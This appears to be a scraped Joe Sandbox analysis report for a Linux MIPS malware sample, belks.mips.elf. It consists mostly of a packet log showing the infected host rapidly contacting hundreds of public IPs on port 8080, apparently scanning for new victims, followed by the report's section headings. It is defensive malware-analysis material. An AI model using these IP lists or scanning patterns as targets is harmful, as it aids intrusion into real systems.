Oct 29, 2024 20:52:41.250710011 CET	56351	8080	192.168.2.13	85.103.134.174
Oct 29, 2024 20:52:41.250724077 CET	56351	8080	192.168.2.13	95.201.116.145
Oct 29, 2024 20:52:41.250724077 CET	56351	8080	192.168.2.13	85.18.169.21
Oct 29, 2024 20:52:41.250737906 CET	56351	8080	192.168.2.13	31.241.213.11
Oct 29, 2024 20:52:41.250740051 CET	56351	8080	192.168.2.13	95.167.52.174
Oct 29, 2024 20:52:41.250757933 CET	56351	8080	192.168.2.13	62.28.59.168
Oct 29, 2024 20:52:41.250757933 CET	56351	8080	192.168.2.13	31.20.30.100
Oct 29, 2024 20:52:41.250766039 CET	56351	8080	192.168.2.13	95.178.159.17
Oct 29, 2024 20:52:41.250766039 CET	56351	8080	192.168.2.13	94.102.12.86
Oct 29, 2024 20:52:41.250770092 CET	56351	8080	192.168.2.13	31.96.198.59
Oct 29, 2024 20:52:41.250790119 CET	56351	8080	192.168.2.13	95.205.138.100
Oct 29, 2024 20:52:41.250790119 CET	56351	8080	192.168.2.13	31.108.173.202
Oct 29, 2024 20:52:41.250791073 CET	56351	8080	192.168.2.13	31.175.55.119
Oct 29, 2024 20:52:41.250793934 CET	56351	8080	192.168.2.13	62.171.126.22
Oct 29, 2024 20:52:41.250801086 CET	56351	8080	192.168.2.13	85.14.193.76
Oct 29, 2024 20:52:41.250802994 CET	56351	8080	192.168.2.13	31.136.92.218
Oct 29, 2024 20:52:41.250804901 CET	56351	8080	192.168.2.13	62.166.79.128
Oct 29, 2024 20:52:41.250808001 CET	56351	8080	192.168.2.13	62.59.47.208
Oct 29, 2024 20:52:41.250822067 CET	56351	8080	192.168.2.13	85.9.66.173
Oct 29, 2024 20:52:41.250830889 CET	56351	8080	192.168.2.13	62.252.240.166
Oct 29, 2024 20:52:41.250840902 CET	56351	8080	192.168.2.13	62.57.134.118
Oct 29, 2024 20:52:41.250857115 CET	56351	8080	192.168.2.13	85.193.38.145
Oct 29, 2024 20:52:41.250857115 CET	56351	8080	192.168.2.13	85.186.186.241
Oct 29, 2024 20:52:41.250874996 CET	56351	8080	192.168.2.13	85.218.193.36
Oct 29, 2024 20:52:41.250876904 CET	56351	8080	192.168.2.13	85.190.175.169
Oct 29, 2024 20:52:41.250883102 CET	56351	8080	192.168.2.13	94.33.48.150
Oct 29, 2024 20:52:41.250888109 CET	56351	8080	192.168.2.13	85.180.164.246
Oct 29, 2024 20:52:41.250890017 CET	56351	8080	192.168.2.13	94.110.9.25
Oct 29, 2024 20:52:41.250895977 CET	56351	8080	192.168.2.13	62.251.230.149
Oct 29, 2024 20:52:41.250916958 CET	56351	8080	192.168.2.13	31.27.27.142
Oct 29, 2024 20:52:41.250920057 CET	56351	8080	192.168.2.13	31.232.117.182
Oct 29, 2024 20:52:41.250926018 CET	56351	8080	192.168.2.13	95.222.110.193
Oct 29, 2024 20:52:41.250926971 CET	56351	8080	192.168.2.13	94.56.161.230
Oct 29, 2024 20:52:41.250945091 CET	56351	8080	192.168.2.13	95.189.45.91
Oct 29, 2024 20:52:41.250945091 CET	56351	8080	192.168.2.13	95.142.169.211
Oct 29, 2024 20:52:41.250946045 CET	56351	8080	192.168.2.13	31.156.151.163
Oct 29, 2024 20:52:41.250955105 CET	56351	8080	192.168.2.13	31.128.111.13
Oct 29, 2024 20:52:41.250976086 CET	56351	8080	192.168.2.13	62.176.239.227
Oct 29, 2024 20:52:41.250982046 CET	56351	8080	192.168.2.13	62.171.209.138
Oct 29, 2024 20:52:41.250988960 CET	56351	8080	192.168.2.13	62.182.171.113
Oct 29, 2024 20:52:41.250998020 CET	56351	8080	192.168.2.13	62.170.71.161
Oct 29, 2024 20:52:41.250998974 CET	56351	8080	192.168.2.13	85.191.131.165
Oct 29, 2024 20:52:41.251007080 CET	37215	51948	197.210.62.153	192.168.2.13
Oct 29, 2024 20:52:41.251010895 CET	56351	8080	192.168.2.13	31.145.221.47
Oct 29, 2024 20:52:41.251015902 CET	56351	8080	192.168.2.13	62.8.155.141
Oct 29, 2024 20:52:41.251017094 CET	37215	37524	197.27.2.81	192.168.2.13
Oct 29, 2024 20:52:41.251024961 CET	56351	8080	192.168.2.13	85.110.140.6
Oct 29, 2024 20:52:41.251035929 CET	56351	8080	192.168.2.13	62.208.56.175
Oct 29, 2024 20:52:41.251063108 CET	56351	8080	192.168.2.13	31.38.220.9
Oct 29, 2024 20:52:41.251065016 CET	56351	8080	192.168.2.13	94.187.181.190
Oct 29, 2024 20:52:41.251075029 CET	56351	8080	192.168.2.13	95.173.251.133
Oct 29, 2024 20:52:41.251080990 CET	56351	8080	192.168.2.13	94.107.150.136
Oct 29, 2024 20:52:41.251085043 CET	56351	8080	192.168.2.13	62.147.110.67
Oct 29, 2024 20:52:41.251090050 CET	56351	8080	192.168.2.13	31.32.166.107
Oct 29, 2024 20:52:41.251091003 CET	56351	8080	192.168.2.13	31.232.73.95
Oct 29, 2024 20:52:41.251108885 CET	56351	8080	192.168.2.13	95.9.168.220
Oct 29, 2024 20:52:41.251110077 CET	56351	8080	192.168.2.13	85.236.132.76
Oct 29, 2024 20:52:41.251111984 CET	56351	8080	192.168.2.13	85.34.13.116
Oct 29, 2024 20:52:41.251140118 CET	56351	8080	192.168.2.13	85.110.111.13
Oct 29, 2024 20:52:41.251143932 CET	56351	8080	192.168.2.13	62.127.25.240
Oct 29, 2024 20:52:41.251157045 CET	56351	8080	192.168.2.13	62.14.167.53
Oct 29, 2024 20:52:41.251158953 CET	56351	8080	192.168.2.13	31.187.106.199
Oct 29, 2024 20:52:41.251159906 CET	56351	8080	192.168.2.13	85.100.140.193
Oct 29, 2024 20:52:41.251171112 CET	56351	8080	192.168.2.13	62.173.77.9
Oct 29, 2024 20:52:41.251188993 CET	56351	8080	192.168.2.13	85.102.122.87
Oct 29, 2024 20:52:41.251190901 CET	56351	8080	192.168.2.13	31.194.72.23
Oct 29, 2024 20:52:41.251190901 CET	56351	8080	192.168.2.13	85.41.150.154
Oct 29, 2024 20:52:41.251204967 CET	56351	8080	192.168.2.13	62.220.201.243
Oct 29, 2024 20:52:41.251204967 CET	56351	8080	192.168.2.13	31.235.128.192
Oct 29, 2024 20:52:41.251225948 CET	56351	8080	192.168.2.13	95.144.22.106
Oct 29, 2024 20:52:41.251225948 CET	56351	8080	192.168.2.13	31.236.159.96
Oct 29, 2024 20:52:41.251236916 CET	56351	8080	192.168.2.13	94.30.150.183
Oct 29, 2024 20:52:41.251240969 CET	56351	8080	192.168.2.13	31.175.138.27
Oct 29, 2024 20:52:41.251247883 CET	56351	8080	192.168.2.13	62.135.154.155
Oct 29, 2024 20:52:41.251265049 CET	56351	8080	192.168.2.13	31.92.126.53
Oct 29, 2024 20:52:41.251269102 CET	56351	8080	192.168.2.13	62.253.109.150
Oct 29, 2024 20:52:41.251270056 CET	56351	8080	192.168.2.13	85.7.15.52
Oct 29, 2024 20:52:41.251274109 CET	56351	8080	192.168.2.13	31.131.213.178
Oct 29, 2024 20:52:41.251295090 CET	56351	8080	192.168.2.13	62.64.61.21
Oct 29, 2024 20:52:41.251301050 CET	56351	8080	192.168.2.13	95.83.3.248
Oct 29, 2024 20:52:41.251301050 CET	56351	8080	192.168.2.13	94.97.171.82
Oct 29, 2024 20:52:41.251301050 CET	56351	8080	192.168.2.13	62.9.75.109
Oct 29, 2024 20:52:41.251321077 CET	56351	8080	192.168.2.13	62.146.98.131
Oct 29, 2024 20:52:41.251327991 CET	56351	8080	192.168.2.13	94.109.86.240
Oct 29, 2024 20:52:41.251353025 CET	56351	8080	192.168.2.13	94.183.231.28
Oct 29, 2024 20:52:41.251353979 CET	56351	8080	192.168.2.13	85.155.252.141
Oct 29, 2024 20:52:41.251353979 CET	56351	8080	192.168.2.13	94.170.35.216
Oct 29, 2024 20:52:41.251358032 CET	56351	8080	192.168.2.13	95.237.229.5
Oct 29, 2024 20:52:41.251374006 CET	56351	8080	192.168.2.13	94.246.3.91
Oct 29, 2024 20:52:41.251379013 CET	56351	8080	192.168.2.13	62.69.122.190
Oct 29, 2024 20:52:41.251379967 CET	56351	8080	192.168.2.13	31.166.28.133
Oct 29, 2024 20:52:41.251379967 CET	56351	8080	192.168.2.13	62.84.27.17
Oct 29, 2024 20:52:41.251389027 CET	56351	8080	192.168.2.13	85.248.68.222
Oct 29, 2024 20:52:41.251398087 CET	56351	8080	192.168.2.13	62.141.35.251
Oct 29, 2024 20:52:41.251399994 CET	56351	8080	192.168.2.13	94.1.158.255
Oct 29, 2024 20:52:41.251404047 CET	56351	8080	192.168.2.13	94.146.91.205
Oct 29, 2024 20:52:41.251413107 CET	56351	8080	192.168.2.13	62.13.169.137
Oct 29, 2024 20:52:41.251436949 CET	56351	8080	192.168.2.13	62.89.39.249
Oct 29, 2024 20:52:41.251441002 CET	56351	8080	192.168.2.13	94.121.185.222
Oct 29, 2024 20:52:41.251455069 CET	56351	8080	192.168.2.13	31.161.127.9
Oct 29, 2024 20:52:41.251461029 CET	56351	8080	192.168.2.13	31.49.190.34
Oct 29, 2024 20:52:41.251461029 CET	56351	8080	192.168.2.13	85.217.245.137
Oct 29, 2024 20:52:41.251461983 CET	56351	8080	192.168.2.13	62.57.201.202
Oct 29, 2024 20:52:41.251468897 CET	56351	8080	192.168.2.13	85.43.230.65
Oct 29, 2024 20:52:41.251480103 CET	56351	8080	192.168.2.13	31.177.117.157
Oct 29, 2024 20:52:41.251492977 CET	56351	8080	192.168.2.13	94.133.172.228
Oct 29, 2024 20:52:41.251496077 CET	56351	8080	192.168.2.13	62.73.7.254
Oct 29, 2024 20:52:41.251499891 CET	56351	8080	192.168.2.13	94.140.130.204
Oct 29, 2024 20:52:41.251509905 CET	56351	8080	192.168.2.13	95.209.146.242
Oct 29, 2024 20:52:41.251527071 CET	56351	8080	192.168.2.13	94.148.238.115
Oct 29, 2024 20:52:41.251528978 CET	56351	8080	192.168.2.13	85.153.0.98
Oct 29, 2024 20:52:41.251538992 CET	56351	8080	192.168.2.13	85.64.17.116
Oct 29, 2024 20:52:41.251542091 CET	56351	8080	192.168.2.13	62.234.92.255
Oct 29, 2024 20:52:41.251542091 CET	56351	8080	192.168.2.13	94.158.253.17
Oct 29, 2024 20:52:41.251558065 CET	56351	8080	192.168.2.13	31.15.128.62
Oct 29, 2024 20:52:41.251563072 CET	56351	8080	192.168.2.13	31.235.199.20
Oct 29, 2024 20:52:41.251566887 CET	56351	8080	192.168.2.13	31.139.109.89
Oct 29, 2024 20:52:41.251585007 CET	56351	8080	192.168.2.13	31.5.169.58
Oct 29, 2024 20:52:41.251594067 CET	56351	8080	192.168.2.13	31.208.20.165
Oct 29, 2024 20:52:41.251594067 CET	56351	8080	192.168.2.13	85.171.137.179
Oct 29, 2024 20:52:41.251594067 CET	56351	8080	192.168.2.13	94.183.141.120
Oct 29, 2024 20:52:41.251594067 CET	56351	8080	192.168.2.13	62.39.100.120
Oct 29, 2024 20:52:41.251594067 CET	56351	8080	192.168.2.13	94.116.250.56
Oct 29, 2024 20:52:41.251616955 CET	56351	8080	192.168.2.13	94.91.184.14
Oct 29, 2024 20:52:41.251626015 CET	56351	8080	192.168.2.13	62.86.144.62
Oct 29, 2024 20:52:41.251630068 CET	56351	8080	192.168.2.13	31.53.121.26
Oct 29, 2024 20:52:41.251630068 CET	56351	8080	192.168.2.13	31.217.13.84
Oct 29, 2024 20:52:41.251631021 CET	56351	8080	192.168.2.13	94.3.7.189
Oct 29, 2024 20:52:41.251653910 CET	56351	8080	192.168.2.13	85.71.214.36
Oct 29, 2024 20:52:41.251653910 CET	56351	8080	192.168.2.13	85.146.214.104
Oct 29, 2024 20:52:41.251673937 CET	56351	8080	192.168.2.13	85.136.62.221
Oct 29, 2024 20:52:41.251673937 CET	56351	8080	192.168.2.13	94.248.141.172
Oct 29, 2024 20:52:41.251673937 CET	56351	8080	192.168.2.13	94.154.153.223
Oct 29, 2024 20:52:41.251678944 CET	56351	8080	192.168.2.13	95.199.10.34
Oct 29, 2024 20:52:41.251696110 CET	56351	8080	192.168.2.13	94.240.171.229
Oct 29, 2024 20:52:41.251697063 CET	56351	8080	192.168.2.13	31.99.219.178
Oct 29, 2024 20:52:41.251698971 CET	56351	8080	192.168.2.13	85.141.41.156
Oct 29, 2024 20:52:41.251699924 CET	56351	8080	192.168.2.13	85.109.57.93
Oct 29, 2024 20:52:41.251703978 CET	56351	8080	192.168.2.13	85.225.40.76
Oct 29, 2024 20:52:41.251704931 CET	56351	8080	192.168.2.13	95.59.77.193
Oct 29, 2024 20:52:41.251713991 CET	56351	8080	192.168.2.13	85.68.40.243
Oct 29, 2024 20:52:41.251714945 CET	56351	8080	192.168.2.13	85.186.39.30
Oct 29, 2024 20:52:41.251715899 CET	56351	8080	192.168.2.13	94.193.255.157
Oct 29, 2024 20:52:41.251733065 CET	56351	8080	192.168.2.13	94.28.81.29
Oct 29, 2024 20:52:41.251734018 CET	56351	8080	192.168.2.13	95.242.109.123
Oct 29, 2024 20:52:41.251737118 CET	56351	8080	192.168.2.13	31.34.225.43
Oct 29, 2024 20:52:41.251740932 CET	56351	8080	192.168.2.13	31.226.25.204
Oct 29, 2024 20:52:41.251761913 CET	56351	8080	192.168.2.13	62.55.211.20
Oct 29, 2024 20:52:41.251766920 CET	56351	8080	192.168.2.13	31.0.0.183
Oct 29, 2024 20:52:41.251780987 CET	56351	8080	192.168.2.13	94.100.193.56
Oct 29, 2024 20:52:41.251784086 CET	56351	8080	192.168.2.13	62.122.202.76
Oct 29, 2024 20:52:41.251784086 CET	56351	8080	192.168.2.13	95.118.16.253
Oct 29, 2024 20:52:41.251796961 CET	56351	8080	192.168.2.13	62.89.41.107
Oct 29, 2024 20:52:41.251806974 CET	56351	8080	192.168.2.13	95.159.88.79
Oct 29, 2024 20:52:41.251810074 CET	56351	8080	192.168.2.13	94.96.92.86
Oct 29, 2024 20:52:41.251820087 CET	56351	8080	192.168.2.13	31.192.164.72
Oct 29, 2024 20:52:41.251838923 CET	56351	8080	192.168.2.13	31.229.74.128
Oct 29, 2024 20:52:41.251842022 CET	56351	8080	192.168.2.13	31.158.140.125
Oct 29, 2024 20:52:41.251851082 CET	56351	8080	192.168.2.13	62.73.52.75
Oct 29, 2024 20:52:41.251852989 CET	56351	8080	192.168.2.13	85.140.203.85
Oct 29, 2024 20:52:41.251852989 CET	56351	8080	192.168.2.13	62.234.158.117
Oct 29, 2024 20:52:41.251868963 CET	56351	8080	192.168.2.13	95.47.41.12
Oct 29, 2024 20:52:41.251871109 CET	56351	8080	192.168.2.13	62.231.0.202
Oct 29, 2024 20:52:41.251873970 CET	56351	8080	192.168.2.13	62.63.140.145
Oct 29, 2024 20:52:41.251885891 CET	56351	8080	192.168.2.13	95.194.107.235
Oct 29, 2024 20:52:41.251889944 CET	56351	8080	192.168.2.13	95.23.158.141
Oct 29, 2024 20:52:41.251899004 CET	56351	8080	192.168.2.13	62.76.254.185
Oct 29, 2024 20:52:41.251909971 CET	56351	8080	192.168.2.13	62.28.243.74
Oct 29, 2024 20:52:41.251912117 CET	56351	8080	192.168.2.13	95.133.58.123
Oct 29, 2024 20:52:41.251919031 CET	56351	8080	192.168.2.13	31.229.167.53
Oct 29, 2024 20:52:41.251920938 CET	56351	8080	192.168.2.13	94.9.190.165
Oct 29, 2024 20:52:41.251949072 CET	56351	8080	192.168.2.13	31.37.186.2
Oct 29, 2024 20:52:41.251951933 CET	56351	8080	192.168.2.13	31.90.79.46
Oct 29, 2024 20:52:41.251956940 CET	56351	8080	192.168.2.13	94.164.200.4
Oct 29, 2024 20:52:41.251966953 CET	56351	8080	192.168.2.13	62.89.75.163
Oct 29, 2024 20:52:41.251976967 CET	56351	8080	192.168.2.13	95.162.148.4
Oct 29, 2024 20:52:41.251980066 CET	56351	8080	192.168.2.13	62.213.180.63
Oct 29, 2024 20:52:41.251980066 CET	56351	8080	192.168.2.13	94.78.249.50
Oct 29, 2024 20:52:41.251982927 CET	56351	8080	192.168.2.13	95.146.118.196
Oct 29, 2024 20:52:41.251996040 CET	56351	8080	192.168.2.13	31.22.235.76
Oct 29, 2024 20:52:41.251996040 CET	56351	8080	192.168.2.13	31.46.206.222
Oct 29, 2024 20:52:41.252017975 CET	56351	8080	192.168.2.13	95.167.216.57
Oct 29, 2024 20:52:41.252017975 CET	56351	8080	192.168.2.13	31.134.89.6
Oct 29, 2024 20:52:41.252022982 CET	56351	8080	192.168.2.13	95.231.44.220
Oct 29, 2024 20:52:41.252022982 CET	56351	8080	192.168.2.13	31.188.171.130
Oct 29, 2024 20:52:41.252029896 CET	56351	8080	192.168.2.13	95.66.235.247
Oct 29, 2024 20:52:41.252029896 CET	56351	8080	192.168.2.13	85.150.98.44
Oct 29, 2024 20:52:41.252031088 CET	56351	8080	192.168.2.13	94.85.179.225
Oct 29, 2024 20:52:41.252031088 CET	56351	8080	192.168.2.13	31.131.45.81
Oct 29, 2024 20:52:41.252032995 CET	56351	8080	192.168.2.13	31.161.174.27
Oct 29, 2024 20:52:41.252036095 CET	56351	8080	192.168.2.13	95.244.48.215
Oct 29, 2024 20:52:41.252036095 CET	56351	8080	192.168.2.13	31.246.102.124
Oct 29, 2024 20:52:41.252039909 CET	56351	8080	192.168.2.13	95.121.139.196
Oct 29, 2024 20:52:41.252039909 CET	56351	8080	192.168.2.13	95.77.177.140
Oct 29, 2024 20:52:41.252048969 CET	56351	8080	192.168.2.13	95.211.32.43
Oct 29, 2024 20:52:41.252063990 CET	56351	8080	192.168.2.13	31.186.215.2
Oct 29, 2024 20:52:41.252064943 CET	56351	8080	192.168.2.13	95.241.11.24
Oct 29, 2024 20:52:41.252065897 CET	56351	8080	192.168.2.13	94.205.219.38
Oct 29, 2024 20:52:41.252070904 CET	56351	8080	192.168.2.13	85.24.189.73
Oct 29, 2024 20:52:41.252070904 CET	56351	8080	192.168.2.13	94.129.5.221
Oct 29, 2024 20:52:41.252070904 CET	56351	8080	192.168.2.13	62.145.216.107
Oct 29, 2024 20:52:41.252079964 CET	56351	8080	192.168.2.13	95.129.248.239
Oct 29, 2024 20:52:41.252079964 CET	56351	8080	192.168.2.13	62.8.154.71
Oct 29, 2024 20:52:41.252099037 CET	56351	8080	192.168.2.13	94.24.25.202
Oct 29, 2024 20:52:41.252104044 CET	56351	8080	192.168.2.13	94.63.146.30
Oct 29, 2024 20:52:41.252110958 CET	56351	8080	192.168.2.13	31.63.27.25
Oct 29, 2024 20:52:41.252126932 CET	56351	8080	192.168.2.13	31.3.243.126
Oct 29, 2024 20:52:41.252126932 CET	56351	8080	192.168.2.13	62.204.67.233
Oct 29, 2024 20:52:41.252127886 CET	56351	8080	192.168.2.13	31.20.222.1
Oct 29, 2024 20:52:41.252140045 CET	56351	8080	192.168.2.13	94.221.68.237
Oct 29, 2024 20:52:41.252146006 CET	56351	8080	192.168.2.13	62.101.137.53
Oct 29, 2024 20:52:41.252161026 CET	56351	8080	192.168.2.13	95.196.107.38
Oct 29, 2024 20:52:41.252161026 CET	56351	8080	192.168.2.13	94.46.23.38
Oct 29, 2024 20:52:41.252162933 CET	56351	8080	192.168.2.13	95.80.52.223
Oct 29, 2024 20:52:41.252166986 CET	56351	8080	192.168.2.13	85.154.84.216
Oct 29, 2

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report belks.mips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
belks.mips.elf